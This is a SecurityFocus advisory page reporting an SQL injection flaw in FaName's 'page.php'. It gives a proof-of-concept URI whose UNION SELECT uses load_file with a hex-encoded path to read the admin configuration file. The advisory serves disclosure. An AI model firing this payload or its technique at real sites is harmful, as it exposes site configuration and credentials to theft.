Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

FaName 'page.php' SQL Injection Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/faname/page.php?id=999999'%20union/**/select/**/0,load_file(0x2e2f61646d696e2f70636f6e6669672e706870),2,3/**/from/**/mysql.user/*







 

Privacy Statement
Copyright 2009, SecurityFocus